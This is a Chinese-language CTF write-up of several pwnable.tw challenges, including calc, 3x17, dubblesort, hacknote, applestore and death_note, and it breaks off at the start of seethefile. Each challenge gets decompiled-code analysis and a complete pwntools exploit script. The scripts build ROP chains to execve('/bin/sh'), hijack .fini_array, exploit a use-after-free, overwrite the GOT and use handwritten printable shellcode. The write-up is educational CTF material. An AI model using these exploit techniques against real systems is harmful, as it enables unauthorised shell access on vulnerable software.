pwnable.tw系列

calc

不愧是pwnable,质量果然高,学到了不少姿势,看题目很明显程序是一个计算器,但漏洞点在哪,着实让我这个小菜鸡绞尽脑汁,起初试图独自解决,最后还是迫于现实膜一了波大佬的write up 。

程序分析

保护

开启了canary 跟NX

主函数calc

get_expr用来存放计算公式的,init_pool是一个初始化函数,将v1数组初始化为0,bzero(&s,0x400) == memset(s,0,0x400),parse_expr函数便是这个程序的关键,用来计算结果的。

分析parse_expr函数

该函数主要分为两个步骤:解析运算表达式、计算运算结果 。

该函数两个参数,参数1为用户输入的运算表达式的地址,参数2为init_pool函数初始化的v1数组(下文命名为initpool)

函数分配了100字节的空间给一个数组operator[100],用来保存所有的操作符,其实函数的漏洞就在这个运算过程中,所以我们要先很清楚地熟悉parse_expr函数的运算过程。

首先,函数进入一个大循环,对运算表达式的每一个字符分析处理,判断条件:当前字符的ASCII码值-48如果 大于9,则将其识别为运算符;反之识别为数字处理。这时候大家可能会有两个疑问:1、ASCII码小于48的字符可不止运算符,大于48的也不止数字呀 ;2、“+,-,x,/,%”这几个运算符可都比48小,-48就是负数了,也肯定小于9啊。第一,早在get_expr函数输入运算式的时候就已经限定了输入的字符只能是数字和”+-*/%”

第二、”+-*/%”的ASCII虽然小于48,但是程序定义的差值是无符号整形(unsigned int),所以作为一个无符号的数,小于48减去48是远远大于9的。

继续往下讲,如果当前字符为数字,那么循环中什么也不做,i++继续往下遍历,如果当前字符为运算符,函数要做的第一件事是将前面的字符转化为整数保存起来,保存在哪呢?就保存在initpool数组中

从逻辑来看操作数是从initpool[1]的位置开始保存的,那么问题来了initpool[0]用来干嘛呢,从count=(*initpool)++这一句来看initpool[0]保存的应该是当前运算数的个数,(正常下固定为2,因为一个操作符两个操作数),由此可见,程序两个最重要的数据结构为initpool[]和operator[],一个存操作数一个存操作符。

接下来为了保证输入的表达式是合法的,函数对当前操作符的下一个字符进行了判断若后一个字符也是操作符的话,则视当前表达式非法,退出此次运算。

接下来就是parse_expr的关键部分了,运算。

当处理到操作符是,判断是否为第一个操作符,是的话进入else,将当前操作符保存在operator[v7]中,也就是operator[0],如果不是第一个操作符的话进入if条件。if的作用:保存当前操作符至operator数组中,并进行之前操作符所对应的运算,举个例子:

1
1+3-2

当处理到”+”时,由于这是第一个运算符,函数只是将其左值 “1” 保存至initpool[1]中,并将 “+” 保存至operator[0]中,然后继续循环。当处理到 “-“ 时,因为inipool中已经有两个值”1”和”3”,而且operator中也保存了一个值 “+” ,也就是说,此时两个数组中的情况为:

1
2
initpool[0]=2,initpool[1]=1,initpool[2]=3
operator[0]="+"

将1和3进行加法运算并保存起来,这就是eval函数做的事

eval函数

eval函数将”1+3”的计算结果”4”保存在之前”1”的位置,也就是initpool[initpool[0]-1]=initpool[1]中,(注意,这里的保存位置iniptool[1]是由initpool[0]相对确定的),这样一来,情况就是这样的:

1
2
initpool[0]=2,initpool[1]=4,initpool[2]=2
operator[0]="+",operator[1]="-"

函数接下来就会通过eval计算”4-2”,并将运算结果仍然保存在initpool[1]中。程序经过多次运算,最终会将计算结果输出给用户:

上图中,ebp+var_5A0为initpool[0]的位置,ebp+var_59C为initpool[1]的位置,因此,(注意)程序输入给用户的结果为:

1
initpool[1+initpool[0]-1] = initpool[initpool[0]]

至此,程序的逻辑算是勉勉强强弄懂了,那么,漏洞在哪 呢?

漏洞分析

其实我不看writeup 过了一遍又遍的程序还是没能找到漏洞,漏洞就出现在上文提到注意的地方。

虽然eval函数看似每次都将算运结果放到了initpool[1]中去,但是实际上这个下标”1”是由initpool[0]-1得到的,上文也提到正常情况下initpool[0]固定等于2的,因此我们总能将计算结果放到initpool[1]中去,并且最终将结果输出给用户。如果 我们能控制initpool[0]的值呢?这样我们相当于能实现任意地址读写了。

我们回头去看一下initpool[0]的值是怎么确定的,

这一串代码的意思就是:若运算符左边的操作数存在,那么就将操作数放到initpool[initpool[0]+1]上并且initpool[0]++,所以,如果左边的操作数不存在呢,那么initpool[0]就不会+1,当解析到下一个操作符时,initpool[0]才加一,那么进入eval函数计算时就是这样的:

1
2
3
比如输入+300的情况如下 
initpool[0]=1,initpool[1]=300
operator[0]="+"

最终的计算结果会放到initpool[initpool[0]-1] == initpool[0],也就是initpool[0]=301这样,通过畸形的运算式我们就能控制initpool[0]的值了,接下来只需要计算好返回地址跟initpool[0]的偏移就可以进行地址的读写了

接下来就是构造ROP链执行execve("/bin/sh",0,0)因为这里需要用到是的参数”/bin/sh”的地址,我的做法是泄漏出栈地址,往栈中写入”/bin/sh”,然后将”/bin/sh”的地址做为参数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# initpool -> 0xffffc818 1(a)
# 0xffffc81c result == 0xffffc81c + 4*(a-1)
# 0xffffc820 count
# 0xffffc824
#coding:utf-8
from pwn import *
# p = process('./calc')
p = remote("chall.pwnable.tw","10100")
context.log_level = 'debug'
pop_eax = 0x0805c34b
# pop_ebx = 0x080481d1
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
int_0x80 = 0x08049a21
def exp(data):
if data>0:
payload = '+' + str(data)
else:
payload = '-' + str(-data)
return payload
p.recvuntil("=== Welcome to SECPROG calculator ===\n")
# +361 :ret_addr
# gdb.attach(p,"b *0x80493F2")
# 0x8048F45 +
# 0x8048F79 -
p.sendline('+360')
stack_addr = 0xffffffff + int(p.recvuntil('\n')[:-1],10) + 1
print "stack_addr --> " + hex(stack_addr)
binsh_addr = stack_addr + 4
print "binsh_addr --> " + hex(binsh_addr)
#pop_eax 11
p.sendline('+361')
data = pop_eax - int(p.recvuntil('\n')[:-1],10)
p.sendline('+361' + exp(data))
p.recv()
p.sendline('+362')
data = 11 - int(p.recvuntil('\n')[:-1],10)
p.sendline('+362' + exp(data))
p.recv()
#pop_ecx_ebx 0,binsh_addr
p.sendline('+363')
data = pop_ecx_ebx - int(p.recvuntil('\n')[:-1],10)
p.sendline('+363' + exp(data))
p.recv()
p.sendline('+364')
data = 0 - int(p.recvuntil('\n')[:-1],10)
p.sendline('+364' + exp(data))
p.recv()
p.sendline('+365')
data = int(p.recvuntil('\n')[:-1],10)
payload = 0xffffffff - binsh_addr + data + 1
p.sendline('+365-' + str(payload))
p.recv()
#pop edx 0
p.sendline('+366')
data = pop_edx - int(p.recvuntil('\n')[:-1],10)
p.sendline('+366' + exp(data))
p.recv()
p.sendline('+367')
data = 0 - int(p.recvuntil('\n')[:-1],10)
p.sendline('+367' + exp(data))
p.recv()
#int_0x80
p.sendline('+368')
data = int_0x80 - int(p.recvuntil('\n')[:-1],10)
p.sendline('+368' + exp(data))
p.recv()
#/bin/sh\x00
p.sendline('+369')
data = 0x6e69622f - int(p.recvuntil('\n')[:-1],10)
p.sendline('+369' + exp(data))
p.recv()
p.sendline('+370')
data = 0x0068732f - int(p.recvuntil('\n')[:-1],10)
p.sendline('+370' + exp(data))
p.recv()
p.interactive()

参考博客:https://www.tuicool.com/articles/VNzqea3 写得太好太详细了吧!

3x17

这也是一道很神奇的题,很巧妙,很佩服。

程序分析

程序很简单,任意地址写,且只能写一次,一开始看到这里我很开心,这不是送分嘛!但是……….但是,,一次的任意地址写,有啥用?我开始懵了,看了writeup 才发现触及到了我的知识盲区

程序在这时设置了参数byte_4b9330每次都加1 即使能够调用回到main函数也无法再次使用任意地址写这个功能。

漏洞分析

很明显了就是任意地址写了,但是要怎么去用它呢。这里涉及到了一个新知识(对于我来说)有一个新东西叫做.fini_array,是程序执行完毕之势执行的函数,这个数组里存着两个函数地址,这个数组 的两个函数以倒序依次被 执行,我们可以通修改.fini_array的内容来控制程序的执行流,根据这个数组调用,可以找到实际调用函数的位置,(IDA中shift +F7 可查看所以段,可以快速找到.fini_array段)

gdb下个断看一下这里的调用是干嘛的

可以看到rbp为0x4b40f0.fini_array也就是arr[1],继续调试,可以看到rbx变为0之后跟-1比较cmp不相等,因此次调用执行call[rbp+rbx*8+0],即调试arr[0],刚好符合我们查到的:倒序调用,所以我们现在要做的就是修改.fini_array数组构造一个无循环疯狂加调main函数,这样参数byte_4b9330就会疯狂加1 ,最终会回到0(0xff + 1 -> 0),这样我们就可以再次用到任意地址写这个功能。

我的做法是将arr[1]改为main,arr[0]改为调用.fini_array的函数也就是0x402960,这样的效果就是,调用arr[1]进入了main函数,出来调用了arr[0]又过来调用arr[1]进入main函数,然后继续调用arr[0]来调用main………疯狂调用main。这样就能实现多次的任意地址写了,接下来就构造ROP链,实现系统调用execve('/bin/sh',0,0)

要让这个循环停下来只需要在ROP链构造完成后让arr[0]为leave_ret_addr即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = 'debug'
# p = process('./3x17')
p = remote("chall.pwnable.tw","10105")
def write(addr,value):
p.recvuntil(':')
p.sendline(str(addr))
p.recvuntil(':')
p.send(str(value))
fini_array = 0x4b40f0
main = 0x401b6d
loop_call = 0x402960
pop_rax = 0x41e4af
leave_ret = 0x401c4b
binsh_addr = 0x4B9300
pop_rdi = 0x401696
pop_rdx = 0x446e35
pop_rsi = 0x406c30
syscall = 0x471db5
# execve = 0x3b
# rdi,rsi,rdx
# write(binsh_addr, p64(0x68732f6e69622f))
# pop_rdi binsh_addr
# pop_rsi 0
# pop_rdx 0
# pop_rax 0x3b
# syscall

write(fini_array,p64(loop_call) + p64(main))
# write(binsh_addr, p64(0x68732f6e69622f))
write(binsh_addr,'/bin/sh\x00')
write(fini_array + 0x10,p64(pop_rdi) + p64(binsh_addr))
write(fini_array + 0x20,p64(pop_rsi) + p64(0))
write(fini_array + 0x30,p64(pop_rdx) + p64(0))
write(fini_array + 0x40,p64(pop_rax) + p64(0x3b))
write(fini_array + 0x50,p64(syscall))
# gdb.attach(p,"b *0x401c4b")
write(fini_array,p64(leave_ret))
p.interactive()

参考博客:https://ama2in9.top/2019/04/10/3x17/

dubblesort

这题也很妙,程序保护全开,主要功能是实现一个冒泡排序

程序一开始会让你输入name,然后输出,但是因为buf没有初始化导致这里可以泄漏出地址,真实地址很容易就拿到了,但是怎么利用?接下来输入num进行排序。

这里v9并没有限制大小,所以可以输入无数多个数字,溢出很明显了,但是因为程序开启了canary,所以单纯的覆盖到ret并不可行。

通过测试发现单输入 +-并不会覆盖栈上的值,所以可以通过在canary 位置输入+来绕过canary。接下来是sort的问题了,因为程序是将我们输入到栈上的数字进行排序再按从小到大的顺序写回到栈中去的,所以应该这样构造栈内容:

这样一来通过排序才不会打乱我们的栈布局,同时也刚好真实地址binsh_addr > system_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./dubblesort')
elf = ELF('./dubblesort')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10101")
elf = ELF('./dubblesort')
libc = ELF('./libc_32.so.6')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
p.recvuntil(':')
# debug(0xa1d)
p.send('a'*0x19)
p.recvuntil('a'*0x18)
# addr = u32(p.recv(4))
# print "addr --> " + hex(addr)
if local:
libc_base = u32(p.recv(4))-0x1b2000 - 0x61
else:
libc_base = u32(p.recv(4))-0x1b0000 - 0x61
print "libc_base --> " + hex(libc_base)
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
print "system --> " + hex(system)
print "binsh_addr --> " + hex(binsh_addr)
print "libc_system --> " + hex(libc.symbols['system'])
print "libc_binsh --> " + hex(libc.search("/bin/sh").next())
p.recvuntil(':')
p.sendline(str(0x23))
for i in range(0x18):
p.recvuntil(': ')
p.sendline('1')
p.recvuntil(': ')
# debug(0xa9a)
p.sendline('+')
for i in range(9):
p.recvuntil(': ')
p.sendline(str(system))
p.recvuntil(':')
# debug(0xa9a)
p.sendline(str(binsh_addr))
p.interactive()

hacknote

这是一道入门堆题,主要有3个功能,增加,删除,打印

1.增加功能可添加任意大小的堆块,并且程序会申请0x10大小的的堆来存放puts函数以及存放内容的堆地址,增加功能最多只能使用5次

2.删除功能,通过index搜索free掉两块堆块,但是free后并没有清空指针,可造成UAF

3.打印,调用存在堆中的puts函数打印内容,这里函数sub_804862B的参数是他本身ptr[v1](ptr[v1])

漏洞利用

有两种泄漏地址的做法:1、申请unsortbin范围的堆块,UAF打印出main_arena地址

​ 2、puts出got表地址

先讲第一种:

申请 chunk0 -> unsortbin范围 ,chunk1 -> fastbin 范围,chunk1是为了使chunk1 free时不合并到top chunk 去。free chunk0 ,再malloc(size(chunk0)) 这时chunk0会被申请出来,单写入一个回车(因为main_arena+48最低字节因定是0xb0),打印出chunk0的内容 -0x0a + 0xb0 - 48就是main_arena地址了。

这时候ptr数组是这样的,我们free掉chunk0,chunk1,fastbin中就会有两个大小为0x10的空闲块0x8753058 -> 0x8753000 -> NULL再申请chunk4大小小于0x10就可以申请到0x8753000为content块写入数据,这样就可以修改0x8753008的内容,将puts函数修改为system内容堆块地址修改成;sh\x00

这里涉及一个知识点:Linux连续执行多条命令:https://blog.csdn.net/freedom2028/article/details/7104131

上面也说到puts函数的参数其实是他本来,所以这们这里覆盖后其实是执行system(system)

所以需要;来过渡。

第二种 puts got表内容

做法:先申请两个大小一样的chunk0,chunk1,大小任意,然后free掉,这时候fastbin上就有两个大小为0x10的堆指针,这两个指针其实都是用来控制chunk0,chunk1输出的,这时候申请一个大小小于0x10的chunk2,我们就能分配其中一个指针进行写操作,将chunk0内容指针修改为puts@got,打印出chunk0就可以得到puts的真实地址。得到真实地址后跟方法一做法差不多。free 掉chunk2,fastbin又会出现两个大小为0x10的堆指针,接下来就跟上面link操作一样了,将puts函数改为system,将chunk内容指针改为;sh,print 0就可以了

exp_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# unsort_bin to link address
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
libc = elf.libc
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(size,content):
ru('choice :')
sl('1')
ru('size :')
sl(str(size))
ru('Content :')
sd(content)
def delete(index):
ru('choice :')
sl('2')
ru('Index :')
sl(str(index))
def show(index):
ru('choice :')
sl('3')
ru('Index :')
sl(str(index))
add(64,'n0va')
add(32,'rabbit')
delete(0)
add(64,'\n')
show(2)
main_arena = u32(rc(4))-0x0a + 0xb0 - 48
print "main_arena --> " + hex(main_arena)
libc_base = main_arena - 0x1b2780
print "libc_base --> " + hex(libc_base)
system_addr = libc_base + libc.symbols['system']
# gdb.attach(p)
delete(0)
delete(1)
add(8,p32(system_addr) + ';sh\x00')
# gdb.attach(p,"b *0x804893D")
show(0)
# gdb.attach(p)
p.interactive()

exp_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# puts@got to link address
from pwn import *
context.log_level = 'debug'
p = process('./hacknote')
# p = remote("chall.pwnable.tw","10102")
elf = ELF('./hacknote')
libc = elf.libc
# libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(size,content):
ru('choice :')
sl('1')
ru('size :')
sl(str(size))
ru('Content :')
sd(content)
def delete(index):
ru('choice :')
sl('2')
ru('Index :')
sl(str(index))
def show(index):
ru('choice :')
sl('3')
ru('Index :')
sl(str(index))
add(32,'abc')
add(32,'n0va')
delete(0)
delete(1)
# gdb.attach(p)
add(8,p32(0x804862B) + p32(elf.got['puts']))
gdb.attach(p)
# gdb.attach(p,"b *0x080488D1")
show(0)
puts_addr = u32(rc(4))
print "puts_addr --> " + hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
delete(2)
add(8,p32(system_addr) + ';sh\x00')
# gdb.attach(p,"b *0x080488D1")
show(0)
# gdb.attach(p)
p.interactive()

applestore

这题简直太有意思了,被秀了一脸,自己还是太菜了啊

程序是一个苹果商店,可以往购物车里面添加手机,总共有这5种

1
2
3
4
5
1: iPhone 6 - $199
2: iPhone 6 Plus - $299
3: iPad Air 2 - $499
4: iPad Mini 3 - $399
5: iPod Touch - $199

也可以从购物车中把手机删掉,同时还有列出购物车手机和结账的功能,不过不管总共多少钱它都会告诉你'Want to checkout? Maybe next time!'

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
unsigned int add()
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
switch ( atoi(&nptr) )
{
case 1:
v1 = create((int)"iPhone 6", (char *)0xC7);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create((int)"iPad Air 2", (char *)0x1F3);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create((int)"iPad Mini 3", (char *)0x18F);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create((int)"iPod Touch", (char *)0xC7);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}

按选择添加手机,主要由create跟insert函数完成

create

1
2
3
4
5
6
7
8
9
10
11
12
13
char **__cdecl create(int a1, char *a2)
{
char **v2; // eax
char **v3; // ST1C_4

v2 = (char **)malloc(0x10u);
v3 = v2;
v2[1] = a2;
asprintf(v2, "%s", a1);
v3[2] = 0;
v3[3] = 0;
return v3;
}

申请一个堆块存储了名字跟价格

insert

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h]

for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
;
i[2] = a1;
result = a1;
*(_DWORD *)(a1 + 12) = i;
return result;
}

找到 i[2]为0的就将malloc挂在上面,其实就是形成了双链表

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
v3 = atoi(&nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = v2[2]; // fd
v5 = v2[3]; // bk
if ( v5 )
*(_DWORD *)(v5 + 8) = v4; // bk->fd = fd
if ( v4 )
*(_DWORD *)(v4 + 12) = v5; // fd->bk = bk
printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (_DWORD *)v2[2];
}
return __readgsdword(0x14u) ^ v7;
}

做的事是双链表的摘除,类似于unlink

cart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
_DWORD *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *i, i[1]);
v3 += i[1];
}
}
return v3;
}

遍历链表打印,一般可以用来泄漏地址

checkout

一开始审计整个程序并没有发现有什么漏洞,申请的堆块也不能自由输入内容,并且整个程序也没有free函数,唯一输入的位置就是选择的时候输入到栈中,正常加入购物车的手机都是放在堆上的,但是在checkout中留了一个彩蛋,如果总金额达到7174就会向购物车加入一部iphone8,价格是1,而这就是漏洞点,这部iphone8的结构体不是放到堆上而在栈上的,在ebp-0x20位置

但是单单这个还不够,因为我们并不能随机地往结构体里写入内容,要看一下这个栈空间是否能被我们自用

在add,delete,cart函数中都可以控制到这个栈空间,而且my_read部分可以用’\x00’来分割,并不影响atoi运行

利用思路:

1、构造7174价格的购物车 199*6+299*20,这样第27个就是栈里的那块

2、利用cart函数泄漏地址,构造结构体如下,这样能同时得到libc和heap地址

1
2
3
4
-> puts@got
-> prise (随意)
-> mycart+8(fd)
-> bk(随意)

3、泄漏栈地址,再次调用cart函数,构造结构体为

1
2
-> point to stack's heap addr
以下随意

4、delete 位于栈上的结构体,双链表的摘除操作和结构体的可控制使我们获得一次任意地址写

1
2
p->bk->fd = p->fd (bk[2] = fd)
p->fd->bk = p->bk (fd[3] = bk)

修改ebp为asprintf@got + 0x22修改asprintf_got$0\x00'\x00atoi@gotsystem(因为asprintf和atoi相邻所以可以直接覆盖过去)

起初的想法是直接修改atoi@gotsystem但是因为上面写入的规则会向system+12写入atoi@got+8system+12为不可写段,所以程序会crash掉

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding:utf-8
from pwn import *
local = 0
if local:
p = process('./applestore')
elf = ELF('./applestore')
libc = elf.libc
else:
p = remote("")
elf = ELF('./applestore')
libc = elf.libc
context.log_level = 'debug'
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def add(num):
ru('> ')
sl('2')
ru('> ')
sd(str(num))

def delete(num):
ru('> ')
sl('3')
ru('> ')
sl(num)

def cart(s):
ru('> ')
sl('4')
ru('> ')
sl(s)

def checkout():
ru('> ')
sl('5')
ru('> ')
sl('y')

myCart = 0x804B068
for i in range(6):
add(1)
for i in range(20):
add(2)
# gdb.attach(p,"b *0x8048C0B\nb *0x8048b86")
checkout()
# gdb.attach(p,"b *0x08048B17")
pay = 'y\x00' + p32(elf.got['puts']) + p32(1) + p32(0x804b070)
cart(pay)
ru("27: ")
puts_addr = u32(rc(4))
ru("28: ")
heap = u32(rc(4)) - 0x490
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
log.warn("puts_addr --> %s",hex(puts_addr))
log.warn("libc_base --> %s",hex(libc_base))
log.warn("system --> %s",hex(system))
log.warn("heap --> %s",hex(heap))
# heap + 0x8b0 --> point to stack
pay = 'y\x00' + p32(heap + 0x8b0) + p32(1) + p32(0)
# gdb.attach(p,"b *0x08048AB9")
cart(pay)
ru("27: ")
stack = u32(rc(4))
ebp = stack + 0x20
log.warn("stack --> %s",hex(stack))
log.warn("ebp --> %s",hex(ebp))
asprintf_got = elf.got['asprintf']
atoi_got = elf.got['atoi']
for i in range(25): #把前面碍事的堆块弄掉
delete('1')
# gdb.attach(p,"b *0x080489E0")
# gdb.attach(p,"b *0x08048C0B")

pay = '2\x00' + p32(system) + p32(1) + p32(ebp - 0xc) + p32(asprintf_got + 0x22)
delete(pay)
ru("> ")
pay = "$0\x00\x00" + p32(system)
sl(pay)
p.interactive()

death_note

保护:got表可改,且存在RWX段,那应该是写shellcode了

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add_note()
{
int v1; // [esp+8h] [ebp-60h]
char s; // [esp+Ch] [ebp-5Ch]
unsigned int v3; // [esp+5Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
v1 = read_int();
if ( v1 > 10 ) //下溢
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(&s, 0x50u);
if ( !is_printable(&s) )
{
puts("It must be a printable name !");
exit(-1);
}
note[v1] = strdup(&s);
puts("Done !");
return __readgsdword(0x14u) ^ v3;
}

到下标没有检查下限,note在bss段上,所以可以覆写到got表,那么就可以直接写shellcode覆到got表执行,但是这里对输入有个要求is_printable必需是可打印的,也就是该题的考点,可打印shellcode

通常的shellcode都不满足可打印,所以要自己手写

根据某大牛博客中写到,此题可用的汇编打令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

以上的汇编其机器码都是可见字符,所以我们要用以上的汇编编写shellcode

其实大概思路就是,mov a,b --> push b;pop a;int 0x80(80cd)的不可见的字节码就通过xor sub and运算操作shellcode使之变成int 0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding:utf-8
from pwn import *
context.log_level = 'debug'
# p = process('./death_note')
p = remote("chall.pwnable.tw","10201")
shellcode = '''
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
push edx

/*构建int 80*/
push 0x4f
pop ecx
push edx
pop eax
sub byte ptr[eax + 0x3a] , cl
sub byte ptr[eax + 0x3a] , cl

push 0x60
pop ecx
sub byte ptr[eax + 0x3b] , cl
sub byte ptr[eax + 0x3b] , cl

/*构建完成 eax+0x39处为80cd(int 80)*/

/*edx=0*/
push 0x40
pop eax
xor al,0x40
push eax
pop edx

/*eax=0xb*/
xor al, 0x40
xor al, 0x4b

/*补全shellcode长度,到rax+3a也就是shellcode+3a处*/
push edx
pop ecx
push edx
pop edx
push edx
pop edx
push edx
pop edx
push edx
pop edx
push edx
pop edx
'''

shellcode = asm(shellcode) + '\x6b\x40'


print shellcode

def add():
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Index :")
p.sendline('-16')
p.recvuntil("Name :")
p.sendline(shellcode)
# gdb.attach(p,"b *0x080487EF\nc\n")
add()
p.interactive()

seethefile

环境:ubuntu16;保护基本没开

程序功能:

1
2
3
4
5
